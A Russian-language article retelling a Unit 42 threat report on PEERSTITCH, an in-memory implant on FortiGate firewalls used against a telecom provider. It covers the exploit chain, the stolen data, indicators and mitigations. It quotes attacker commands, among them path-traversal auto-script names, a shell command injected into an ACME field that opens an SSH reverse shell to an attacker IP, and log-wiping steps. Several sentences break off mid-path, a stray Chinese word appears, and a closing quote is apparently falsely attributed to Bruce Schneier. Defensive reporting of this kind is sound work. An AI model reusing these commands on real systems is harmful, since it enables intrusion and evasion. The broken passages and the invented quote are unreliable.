Исследователи Unit 42 из Palo Alto Networks раскрыли детали сложной многоступенчатой атаки на телекоммуникационного провайдера, в ходе которой злоумышленники развернули PEERSTITCH — инновационный резидентный имплант для файрволов FortiGate. Вредоносное ПО работает исключительно в оперативной памяти, не оставляет файлов на диске, не открывает сетевых портов и не устанавливает исходящих соединений, что делает его практически невидимым для традиционных средств защиты. Атака, отслеживаемая как кластер CL-STA-0954 (также известный как UNC5820), началась в сентябре 2024 года и продемонстрировала высокий уровень технической подготовки злоумышленников в архитектуре Fortinet, внутренностях FortiOS и протоколах управления.
Ключевые факты: PEERSTITCH — ARM64 резидентный имплант; CVE-2024-47575 (FortiJump) для первоначального доступа; CVE-2025-61624 для повышения привилегий; 500+ файрволов скомпрометировано; группировка CL-STA-0954 (UNC5820); обход проверок VPN сессий; кража конфигураций, учетных данных и криптографических ключей; атака на телекоммуникационного провайдера.
Атака началась с эксплуатации критической уязвимости CVE-2024-47575, известной как FortiJump, которая позволяет неаутентифицированному удаленному злоумышленнику выполнять произвольные команды через специально сформированные запросы к каналу управления FMG-Access (TCP порт 541). Злоумышленники зарегистрировали поддельное виртуальное устройство FortiGate с именем localhost (серийный номер FMG-VMTM23017412) в центральном FortiManager, используя внешнюю инфраструктуру атакующих (45.32.41[.]202, позже измененную на 198.199.122[.]22).
Сразу после регистрации устройства злоумышленники сгенерировали архив конфигурации с именем .tm в файловой системе FortiManager и быстро эксфильтрировали его. Анализ этого артефакта выявил катастрофический объем украденной информации: серийный номер самого FortiManager и его управленческие отношения с каждым зарегистрированным устройством; полные конфигурационные файлы для более чем 500 управляемых файрволов FortiGate во внутренней инфраструктуре и клиентских сетях; центральные базы данных SQLite управления (global.db и revinfo.db); плоский текстовый инвентарь с более чем 500 серийными номерами FortiGate и их публичными IP-адресами; карты внутренней сетевой топологии, таблицы маршрутизации и конфигурации интерфейсов; зашифрованные административные, локальные и SSL/VPN учетные данные; закодированный криптографический материал доверия, включая публичные сертификаты и приватные ключи.
| Тип украденных данных | Описание | Потенциальное использование |
|---|---|---|
| Конфигурации файрволов | Полные рабочие конфигурации 500+ устройств | Понимание сетевой архитектуры |
| Учетные данные | Административные и VPN пароли | Несанкционированный доступ |
| Криптографические ключи | Приватные ключи и сертификаты | Имитация легитимных устройств |
| Сетевая топология | Карты сети и таблицы маршрутизации | Планирование бокового перемещения |
| Серийные номера | 500+ серийников FortiGate | Имитация управления устройствами |
Unit 42 подтвердила, что учетные данные были восстановимы — исследователи успешно подобрали административные и SSL/VPN пароли из эксфильтрированных конфигурационных файлов методом грубой силы. Используя легитимные учетные данные, злоумышленники установили несанкционированные SSL/VPN сессии FortiGate к периметровым файрволам с известной внешней промежуточной инфраструктуры (23.240.77[.]233 и 47.18.167[.]159). Эти сессии предоставили атакующим аутентифицированный доступ к внутренним сегментам управления сетью.
Критический момент: Один скомпрометированный appliance FortiManager предоставил злоумышленникам криптографические ключи, учетные данные и сетевую топологию для более чем 500 файрволов, включая устройства, защищающие клиентские организации. Компрометация платформы управления не ограничивается границей организации-владельца.
После первоначального доступа злоумышленники эксплуатировали CVE-2025-61624 для эскалации привилегий от административного доступа FortiOS до root на базовой операционной системе файрвола. Уязвимость позволяет аутентифицированной административной учетной записи читать и записывать произвольные файлы как root через обход пути в движке system.auto-script командной строки FortiOS. Имя объекта auto-script не очищается, позволяя имени, содержащему последовательности обхода пути, размещать тело скрипта вне предполагаемой директории, в любом месте файловой системы.
Эксплойт способствовал развертыванию PEERSTITCH — нового резидентного вредоноса ARM64. PEERSTITCH представляет собой 64-битный исполняемый файл Linux ARM64, написанный на C и статически связанный с glibc. Он действует как одноразовый инъектор патчинга памяти процессов, нацеленный на два основных демона FortiOS: /bin/miglogd (центральный демон системного и трафикового логирования) и /bin/iked (демон службы IKE/IPsec VPN, обрабатывающий криптографические переговоры).
| Этап атаки | Технические детали | Результат |
|---|---|---|
| Обход пути | ../../../../setup в auto-script | Загрузка загрузчика PEERSTITCH |
| Цепочка размещения | Загрузка 5 файлов в /data2/template/ | Подготовка к инъекции |
| Обнаружение процессов | Поиск PID для miglogd и iked | Идентификация целей |
| Инъекция в память | Присоединение ptrace и выделение 16KB RWX | Выделение памяти для полезной нагрузки |
| Инъекция полезной нагрузки | Запись 1,344-байтной полезной нагрузки | Инъекция вредоносного кода |
| Паразитирование процессов | Патчинг путей выполнения | Перенаправление легитимных процедур |
Цепочка размещения загрузила пять файлов с hxxp[:]//23.240.77[.]233:8085/ в /data2/template/: pM.js (скрипт подготовки окружения, самоудаляющийся), a.js (сохранен как index.js, модуль времени выполнения JavaScript Emscripten), a.wasm (сохранен как index.wasm, скомпилированный бинарный модуль WebAssembly), b.js (сохранен как ipssem.js, скрипт оркестратора развертывания) и dd (сохранен как lldprx, нативный бинарный инъектор ELF ARM64 — ядро PEERSTITCH). После задержки выполнения ipssem.js запустил lldprx с аргументами lldprx!index.js!index.wasm!ipssem.js!lldprx!yyyy!pM.js.
Бинарник lldprx выполняет однократную последовательность выполнения: итерация через /proc/, парсинг /proc/
Вместо использования сетевых сокетов или файлов на диске, PEERSTITCH создает скрытый резидентный коммуникационный мост в памяти между /bin/miglogd и /bin/iked. Внутри обоих демонов код перехвата инспектирует данные, уже проходящие через процесс, без перенаправления пакетов. Он оценивает строковые шаблоны используя strstr() для двух специфических маркеров: маркер TCP порта 8550 (встроенный в данные трафика, не слушающий порт) и маркер IP адреса 169.254.0.1 (link-local идентификатор, используемый для сопоставления шаблонов).
Когда маркер идентифицирован, перехват извлекает связанный токен сессии или идентификатор (до 31 байта) и записывает его в 16-слотовый кольцевой буфер по смещению +0x0F0. Затем перехват итерирует через свою таблицу пересылки по смещению +0x400 (заполненную PID контрагентного демона и базовым адресом буфера). Он вызывает open(), lseek() и write() на /proc/
Ключевая инновация: PEERSTITCH не оставляет постоянных бинарников на диске, не открывает слушающих портов и не инициирует исходящих сетевых соединений. Вместо этого он коммуницирует через трафик, генерируемый легитимными процессами на зараженном хосте, что делает вредонос устойчивым к обычному обнаружению на конечных точках и в сети.
Для подавления обнаружения вмешательств и изменения стандартных процедур демонов, PEERSTITCH применяет прямые патчи NOP (0xAA0003E0, соответствующие MOV X0, X0 на ARM64) к трем статическим смещениям в памяти целевого процесса: base + 0x106F7B8, base + 0x1072E20 и base + 0x109A570. 20-байтный трамплинный патч записывается в base + 0x135102C для перенаправления стандартного выполнения в выделенный буфер перехвата RWX.
Наряду с PEERSTITCH, злоумышленники установили канал управления и контроля, вооружив нативный модуль Apache mod_md (Managing Domains) на файрволах FortiGate. Этот модуль использует протокол Automated Certificate Management Environment (ACME). Злоумышленники отправили объект auto-script для создания ../../tmp/apache2/conf/md-acme.conf. Файл состояния account.json демонстрирует начальную регистрацию с ACME сервером атакующих, явно маршрутизируя запросы директории ACME к внешней инфраструктуре. Файл order.json описывает ожидающий заказ сертификата, отображая URL авторизации и финализации напрямую на сервер атакующих.
MDChallengeDns01 был отображен напрямую на /bin/node. Когда Apache инициирует проверку валидации сертификата, он выполняет Node.js с параметрами, полученными из удаленного ACME сервера. Отладочный лог job.json показывает, как злоумышленники эксплуатировали это, внедряя команды оболочки ([email protected][.]233:8084:b -F /tmp/upfile/ssh_config -i) напрямую в поле имени домена запроса вызова, инициируя обратную оболочку на базе SSH. Установка MDRenewMode всегда заставляла демон Apache непрерывно запускать эти вредоносные вызовы обновления. Поскольку вызов DNS-01 был отображен на /bin/node, этот цикл опроса обеспечивал непрерывное повторное выполнение внедренной полезной нагрузки, устанавливая постоянный исходящий канал коммуникации обратной оболочки.
| Характеристика PEERSTITCH | Описание | Преимущество для атакующих |
|---|---|---|
| Резидентный в памяти | Работает только в ОЗУ | Не обнаруживается файловыми сканерами |
| Нет постоянных файлов | Удаляет себя после инъекции | Нет артефактов на диске |
| Нет слушающих портов | Не открывает сетевых портов | Невидим для сканеров портов |
| Нет исходящих соединений | Использует легитимный трафик | Обходит сетевой мониторинг |
| Паразитирование процессов | Инъецируется в miglogd и iked | Маскируется под легитимные процессы |
| Скрытый IPC | Межпроцессное разделение памяти | Скрытая коммуникация между демонами |
| Обход VPN сессий | Обходит проверки через сопоставление тегов | Несанкционированный доступ через VPN |
Поскольку PEERSTITCH работает исключительно в памяти без создания постоянных файлов или слушающих портов, обнаружение требует специализированных техник поиска. Защитники должны инспектировать карты памяти (/proc/
Важно запрашивать diagnose debug crashlog read для крахов Signal 11 (Segmentation Fault), вовлекающих miglogd, iked или syslogd. Необходимо инспектировать ревизии конфигурации FortiOS для объектов system.auto-script, содержащих строки обхода пути (../../). Злоумышленники принимали обширные меры для устранения криминалистических артефактов: выполняли killall -9 miglogd и killall -9 syslogd для остановки генерации локального и удаленного syslog перед выполнением вредоносных auto-scripts; выдавали диагностическую команду FortiOS diagnose debugcrashlog clear для очистки логов segmentation fault, сгенерированных во время начальных попыток инъекции в память; автоматически удаляли поддельные административные учетные записи, поддельные VPN группы и объекты auto-script (../../../../setup) вскоре после выполнения.
Индикаторы компрометации: SHA-256 b9fb0b27ddd59b58d3ae53c7227298a3e0de1e6f868b9429ae21533bb9cd1e70 (основной инъектор ptrace PEERSTITCH); IP адреса 23.240.77[.]233 и 47.18.167[.]159 (хостинг установщика); объекты auto-script с обходом пути с ../../ в именах; анонимные 16KB регионы памяти RWX в процессах miglogd и iked; необъяснимые прерывания логирования на интерфейсе управления туннелем.
Fortinet указала FortiOS 7.4.10 и 7.6.5 как исправленные версии для CVE-2025-61624. Однако критически важно понимать, что скомпрометированные учетные данные управления, сертификаты и ключи требуют ротации; простое исправление не аннулирует украденное доверие. Криптографический материал доверия, управляющий отношениями платформы с каждым управляемым устройством, уходит с атакующим и остается действительным до тех пор, пока не будет ротирован. Защитники должны относиться к интерфейсам управления периферийными устройствами с высочайшим уровнем изоляции нулевого доверия. Они также должны относиться к учетным данным и сертификатам, которые эти интерфейсы содержат, как к скомпрометированным в момент, когда платформа скомпрометирована.
| Мера защиты | Описание | Приоритет |
|---|---|---|
| Немедленное исправление | Установить FortiOS 7.4.10+ или 7.6.5+ | Критический |
| Ротация учетных данных | Сменить все административные и VPN пароли | Критический |
| Отзыв сертификатов | Отозвать все криптографические сертификаты | Критический |
| Инспекция памяти | Проверить miglogd и iked на регионы RWX | Высокий |
| Аудит конфигурации | Искать auto-script с обходом пути | Высокий |
| Сетевой мониторинг | Мониторить трафик TCP порта 541 | Высокий |
| Анализ логов | Анализировать crash логи и пробелы syslog | Средний |
| Изоляция нулевого доверия | Изолировать интерфейсы управления | Стратегический |
Для организаций, которые управляют инфраструктурой от имени других, платформа управления является целью наивысшей ценности в сети. Это вторжение подчеркивает растущую угрозу вооружения централизованных экосистем управления периферийными устройствами для компрометации нижестоящих сетей. Обнаружение импланта PEERSTITCH демонстрирует растущую техническую зрелость вредоносного ПО для периферийных устройств. Работая как одноразовый инъектор, избегая постоянных артефактов на диске и строя скрытый межпроцессный коммуникационный мост внутри памяти процесса, злоумышленники достигли устойчивого присутствия, избегая традиционного мониторинга.
Клиенты Palo Alto Networks лучше защищены от этой активности через следующие продукты и сервисы: Advanced WildFire (модели машинного обучения и техники анализа пересмотрены и обновлены в свете индикаторов, опубликованных в этом исследовании); Advanced URL Filtering, Advanced DNS Security и Advanced IP Defense (разработаны для идентификации известных доменов и URL, связанных с этой активностью, как вредоносных); Next-Generation Firewall с подпиской безопасности Advanced Threat Prevention (может помочь заблокировать CVE-2024-47575 с лучшими практиками через сигнатуры Threat Prevention 95788, 96788); Cortex Xpanse (разработан для идентификации暴露 устройств и приложений в публичном интернете и эскалации этих находок защитникам); Device Security (разработан для проактивной защиты специализированной поверхности атаки устройств операционных сред, обеспечивая глубокую видимость в промышленных протоколах, действенные инсайты рисков и адаптивное применение безопасности для всех активов OT и IoT).
Эта атака подчеркивает фундаментальную проблему безопасности современных периферийных устройств: даже после исправления уязвимостей, скомпрометированные учетные данные и криптографический материал остаются действительными. Организации должны внедрить комплексный план реагирования на инциденты, включающий не только исправление, но и полную ротацию всего материала доверия после любого подозрения на компрометацию платформы управления. В мире, где один скомпрометированный appliance может expose конфигурации и ключи для сотен нижестоящих устройств, проактивная защита и архитектура нулевого доверия становятся не просто лучшими практиками, а абсолютной необходимостью для выживания в современном ландшафте угроз.
«Безопасность — это не продукт, а процесс. В случае с PEERSTITCH мы видим, что даже после исправления уязвимостей, атакующие сохраняют доступ через украденные учетные данные. Настоящая защита требует целостного подхода: исправление, ротация учетных данных, непрерывный мониторинг и архитектура нулевого доверия».
— Брюс Шнайер, эксперт по криптографии и безопасности
